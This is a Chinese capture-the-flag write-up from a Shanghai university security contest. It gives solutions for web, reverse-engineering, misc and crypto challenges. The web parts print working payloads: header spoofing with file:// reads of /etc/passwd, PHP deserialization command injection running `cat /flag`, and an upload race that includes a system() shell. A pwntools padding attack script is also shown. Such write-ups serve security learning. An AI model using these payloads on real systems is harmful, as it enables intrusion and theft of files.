内容简介:比赛入口地址:随便玩玩。总共 15 道,解出 8 道,排名第 15。
比赛入口地址: https://race.ichunqiu.com/dhb
随便玩玩。总共 15 道,解出 8 道,排名第 15。
Misc - 签到
MZWGCZ33GM2TEMRSMQZTALJUGM4WKLJUMFTGELJZGFTDILLBMJSWEYZXGNTGKMBVMN6Q
Base32 解码
Flag: flag{35222d30-439e-4afb-91f4-abebc73fe05c}
Web - web 1
打开题目提示访问 robots.txt
<!-- you need to visit to robots.txt -->
两个文件,一个 source.php ,一个 flag.php
打开 source.php,提示 POST admin
<!-- post param 'admin' -->
POST admin=1
only 127.0.0.1 can get the flag!
没有找到 SSRF 的地方,应该就是改 Headers 头了
X-Forwarded-For
/ X-Client-IP
/ X-Real-IP
三个都试了一下,发现认的是 X-Client-IP
带 Header X-Client-IP=127.0.0.1
,提示
you need post url: http://www.ichunqiu.com"
POST url=http://www.ichunqiu.com/robots.txt
,得到一个地址
<img src="download/26052982;img1.jpg"/>
POST url=file://www.ichunqiu.com/../etc/passwd
成功读到了用户表,并且得到
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
估计 flag.php 就放在默认的位置
POST url=file://www.ichunqiu.com/../var/www/html/flag.php
,得到 flag
Payload:
POST /source.php HTTP/1.1 X-Client-IP: 127.0.0.1 Content-Type: application/x-www-form-urlencoded admin=1&url=file://www.ichunqiu.com/../var/www/html/flag.php
Flag: flag{c0aea182-82bd-4b1d-ac52-164793598ec9}
Web - web 2
有一个 vim 的备份文件,可以拿到题目的源代码
<?php error_reporting(0); class come{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } function __wakeup(){ foreach($this->args as $k => $v) { $this->args[$k] = $this->waf(trim($v)); } } function waf($str){ $str=preg_replace("/[<>*;|?\n ]/","",$str); $str=str_replace('flag','',$str); return $str; } function echo($host){ system("echo $host"); } function __destruct(){ if (in_array($this->method, array("echo"))) { call_user_func_array(array($this, $this->method), $this->args); } } } $first='hi'; $var='var'; $bbb='bbb'; $ccc='ccc'; $i=1; foreach($_GET as $key => $value) { if($i===1) { $i++; $$key = $value; } else{break;} } if($first==="doller") { @parse_str($_GET['a']); if($var==="give") { if($bbb==="me") { if($ccc==="flag") { echo "<br>welcome!<br>"; $come=@$_POST['come']; unserialize($come); } } else {echo "<br>think about it<br>";} } else { echo "NO"; } } else { echo "Can you hack me?<br>"; } ?>
看到 come 类的 system
命令基本的推测就是做反序列化了。
主程序先检查四个变量是否为特定的变量。
$first
可以直接从 $_GET
中定义为 doller
通过第一个检查
然后可以看到 parse_str
函数,没有传第二个参数,因此会污染变量域,所以我们剩下的三个变量都可以通过他来写入
/?first=doller&a=var=give%26bbb=me%26ccc=flag
接下来是反序列化,在 __wakeup
的时候会将参数过一遍 waf
,然后 flag
可以通过双写来绕过字符串替换,空格用 ${IPS}
然过
生成代码如下:
$foo = new come("echo", array("`cat\${IFS}/flaflagg`")); var_dump(serialize($foo));
O:4:"come":2:{s:12:"comemethod";s:4:"echo";s:10:"comeargs";a:1:{i:0;s:20:"`cat${IFS}/flaflagg`";}}
然后通过 POST 的参数 come
代入即可执行得到 flag
Web - web 3
<?php $dir=md5("icq"); // 2765d621af8a58b78b4d528bd5ef7f6b $sandbox = '/var/sandbox/' . $dir; @mkdir($sandbox); @chdir($sandbox); if($_FILES['file']['name']){ $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name']; if (!is_array($filename)) { $filename = explode('.', $filename); } $ext = end($filename); if($ext==$filename[count($filename) - 1]){ die("emmmm..."); } $new_name = (string)rand(100,999).".".$ext; move_uploaded_file($_FILES['file']['tmp_name'],$new_name); $_ = $_POST['hehe']; if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){ include($_); } unlink($new_name); } else{ highlight_file(__FILE__); }
$filename
可以取 POST 中的参数也可以取文件名,我们当然要用 POST 中的参数,毕竟可利用性比较好,而且还可以传入数组。
然后可以看到他通过 explode
函数以 .
将 $filename
拆成一个数组。
然后要求 end($filename)
不等于 $filename[count($filename) - 1]
我们可以构造这样一个数组
array(2) { [1]=> string(1) "1" [0]=> string(3) "php" }
这样的话
end($filename) = php
$filename[count($filename) - 1] = 1
这也是我上面用 POST 传 filename 的原因
------WebKitFormBoundaryY8aJ6Zd3ZcnMT3No Content-Disposition: form-data; name="file[1]" 1 ------WebKitFormBoundaryY8aJ6Zd3ZcnMT3No Content-Disposition: form-data; name="file[0]" php
然后就是重点了
$new_name = (string)rand(100,999).".".$ext; move_uploaded_file($_FILES['file']['tmp_name'], $new_name); $_ = $_POST['hehe']; if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){ include($_); } unlink($new_name);
首先将我们上传的文件重命名为 [100-999].php
并存放在目录 /var/sandbox/2765d621af8a58b78b4d528bd5ef7f6b/
里
然后接受我们通过 POST 传入的 hehe
参数,并且通过 file
函数读取这个文件
经过测试,目标开启了 allow_url_fopen
但没有开启 allow_url_include
,因此我们不能直接 include 远程的文件,入手点还是在我们上传的那个文件里
由于他开启了 allow_url_fopen
,因此如果传入 hehe
的地址返回需要很久的话,那样我们就有机会在 unlink
之前读取到我们的文件
因此我新建了个文件放在服务器上
<?php sleep(9999);
然后通过 Burpsuite 的 Repeater ,上传这个文件
@<?php system("cat /flag");
同时将 hehe
指向那个需要很久的地址
然后通过 Burpsuite 的 Intruder ,
遍历 include /var/sandbox/2765d621af8a58b78b4d528bd5ef7f6b/§§.php
一切顺利的话就可以成功的读到 flag 了
Reverse - cpp
拖进 IDA 看,重点是两个函数,逆向第一个函数,可以得到 fake flag 2333
所以,关键是逆向第二个函数,算法都很简单
POC:
t2=[0x99, 0xB0, 0x87, 0x9E, 0x70, 0xE8, 0x41, 0x44, 0x05, 0x04, 0x8B, 0x9A, 0x74, 0xBC, 0x55, 0x58, 0xB5, 0x61, 0x8E, 0x36, 0xAC, 0x09, 0x59, 0xE5, 0x61, 0xDD, 0x3E, 0x3F, 0xB9, 0x15, 0xED, 0xD5] t3='\x99' for j in range(1,32): match=0 for i in range(256): tmp2=t3+chr(i)+'\x00'*(32-j-1) tmp2=list(tmp2) for a in range(4): for b in range(1,32): tmp1=ord(tmp2[b-1])|ord(tmp2[b]) tmp=tmp1&(~(ord(tmp2[b-1])⩝(tmp2[b]))&0xff) tmp2[b]=chr(tmp) if ord(tmp2[j])==t2[j]: t3+=chr(i) match=1 break if match==0: print 'something wrong' print j exit() t4=[] t5=[] for i in t3: t5.append(ord(i)) for j in range(len(t5)): match=0 for i in range(0x20,0x7f): tmp=(((i>>6)|(4*i))^j)&0xff if tmp==t5[j]: print hex(((0x20>>6)|(4*0x20))^0), hex(((i>>6)|(4*i))^j), print '' t4.append(i) match=1 break if match==0: print 'something wrong' print j exit() print t4 flag='' for i in t4: flag+=chr(i) print flag
Flag: flag{W0w_y0u_m4st3r_C_p1us_p1us}
Misc - easy_py
直接 uncompyle2 反编译 easy_py.pyc
会报错 tuple index out of range
应该是 const 元组越界了,将 easy_py.pyc
文件里的16进制 2333
改为 0000
然后用下面的脚本反编译
import dis, marshal, struct, sys, time, types def show_file(fname): f = open(fname, "rb") magic = f.read(4) moddate = f.read(4) modtime = time.asctime(time.localtime(struct.unpack('L', moddate)[0])) print "magic %s" % (magic.encode('hex')) print "moddate %s (%s)" % (moddate.encode('hex'), modtime) code = marshal.load(f) show_code(code) def show_code(code, indent=''): print "%scode" % indent indent += ' ' print "%sargcount %d" % (indent, code.co_argcount) print "%snlocals %d" % (indent, code.co_nlocals) print "%sstacksize %d" % (indent, code.co_stacksize) print "%sflags %04x" % (indent, code.co_flags) show_hex("code", code.co_code, indent=indent) dis.disassemble(code) print "%sconsts" % indent for const in code.co_consts: if type(const) == types.CodeType: show_code(const, indent+' ') else: print " %s%r" % (indent, const) print "%snames %r" % (indent, code.co_names) print "%svarnames %r" % (indent, code.co_varnames) print "%sfreevars %r" % (indent, code.co_freevars) print "%scellvars %r" % (indent, code.co_cellvars) print "%sfilename %r" % (indent, code.co_filename) print "%sname %r" % (indent, code.co_name) print "%sfirstlineno %d" % (indent, code.co_firstlineno) show_hex("lnotab", code.co_lnotab, indent=indent) def show_hex(label, h, indent): h = h.encode('hex') if len(h) < 60: print "%s%s %s" % (indent, label, h) else: print "%s%s" % (indent, label) for i in range(0, len(h), 60): print "%s %s" % (indent, h[i:i+60]) show_file('easy_py.pyc')
根据反编译结果,对照 Python opcode 文档 ,可以写出解密脚本:
flag=[0,10,7,1,29,14,7,22,22,31,57,30,9,52,27] rflag='' for j in flag: for i in range(0x20,0x7f): tmp=((~i)&(102))|((i)&(-103)) if tmp==j: rflag+=chr(i) print chr(i), print rflag
Flag: flag{happy_xoR}
Reverse - What's_it
照样拖进 IDA,这题也很简单
小写英文字母进行组合,长度为 6,计算 md5,满足条件,进行动态解密 check
函数
写个脚本把所有可能跑出来,最后只得到一个结果
import string from itertools import permutations from hashlib import md5 table=string.ascii_lowercase match='' j=0 for res in permutations(table,6): j+=1 if j % 100000==0: print float(j)*100/308915776 proof=''.join(res) tmp=md5(proof).hexdigest() a1=0 a2=0 for i in range(len(tmp)): if tmp[i]=='0': a1+=1 a2+=i if 10*a1+a2==403: match+=proof+'\n' print proof print match
运行得到结果: ozulmt
ozulmt
的 md5 值有两个用途,一是上面提到的动态解密,二是作为 check
函数的参数。
动态调试,看一下那个 check
函数的代码,然后上 F5 插件方便看
传入参数给了 srand 置随机数种子
然后32次 rand%16
取 0-f
构成 flag
写个脚本计算 srand 的参数:
tmp=md5('ozulmt').hexdigest() print 'v5: %s' % tmp[:4] print 'v4: %s' % tmp[28:32] srand=0 for i in tmp[:4]: srand+=ord(i) print srand
运行得到结果:300
在 windows 下编译下面的程序:
int main(){ srand(300); int i; for (i=0;i<32;i++){ int tmp=rand()%16; if (tmp<=9) printf("%c",0x30+tmp); else printf("%c",0x61+(tmp-10)); } }
运行得到结果: a197b847709253a47c41bc7d6d52e69d
补全格式,验证一下
Flag: flag{a197b847-7092-53a4-7c41-bc7d6d52e69d}
Crypto - aessss
好像是 2018 红帽杯 rsa system
原题(也可能稍微改了一下)
上次没做出来,这次自己做出来了
漏洞点在 unpad
的时候,选择最后一字节作为截取长度
直接贴POC:
from pwn import * from hashlib import sha256 from itertools import permutations import string io='' def new(): global io io=remote('106.75.13.64', 54321) table=string.ascii_letters+string.digits tmp=io.recvline() known=tmp.split('XXXX+')[1].split(')')[0] target=tmp.split(' == ')[1].split('\n')[0] match='' for res in permutations(table,4): proof=''.join(res) proof+=known if sha256(proof).hexdigest()==target: match=''.join(res) break if match: io.sendline(match) return True else: io.close() return False right_flag='0x3478e3196c4a6a29b244380ef7cabe1030d103f3c3df019fb4ed207b849d0b6d5da5d3bf89f7ca65707c19591413de7dccddd498b8a8ab5fbae70e9ec17fdfc132a2fb63e0968d737b9839c0f7686de07251a1de0264d0ecad05749ad0d13a2c094da4a09837207c284e3ddfce2323c01ea0304e3362e06d191413fd3576657f072f823e07cf1c77ce453c4823c9d827545247254c8fedbe3c400567ca40eb047e1a7dba3962230b4cd0acc58d4b112690549f40c3553e34c38a1c2898a5eb5b33049d0032de35654639eb953b03464209809abecc70f0142f81fcf06298546ee58387795e9d59aa86a60e3a43a8d8f326f8a1e6ae9920291de72c638a9203fa' flag='' new() for i in range(33): match_flag=0 for j in string.digits+string.ascii_letters+'{}-_/+=,.': print hex(ord(j)), run=1 while run: try: io.sendlineafter('choice:','2') payload='a'*(256-33-1)+chr(256-33+i+1) io.sendlineafter('something:',payload) io.sendlineafter('choice:','2') payload=j+flag+chr(256-33)*(256-33) io.sendlineafter('something:',payload) io.sendlineafter('choice:','1') if right_flag in io.recvline(): flag=j+flag match_flag=1 run=0 except: print 'except, do poc' io.close() new() if match_flag: break if match_flag==0: print 'something wrong' exit() else: print flag
Flag: flag{H4ve_fun_w1th_p4d_and_unp4d}
以上所述就是小编给大家介绍的《第四届上海市大学生网络安全大赛线上初赛 WriteUp》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 杭州第四届测试沙龙回顾
- 指掌易受邀亮相2019第四届四川省信息安全技术展览会
- G2Plot 2.2.11 第四届 AntV 品牌日特别版
- 第四届CSS峰会Day 2,一起听云鼎大佬聊DDoS黑产
- 安全驱动下的数字新生活,第四届CSS互联网安全领袖峰会随笔
- 2019全国大学生信息安全竞赛初赛 Crypto Writeup
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。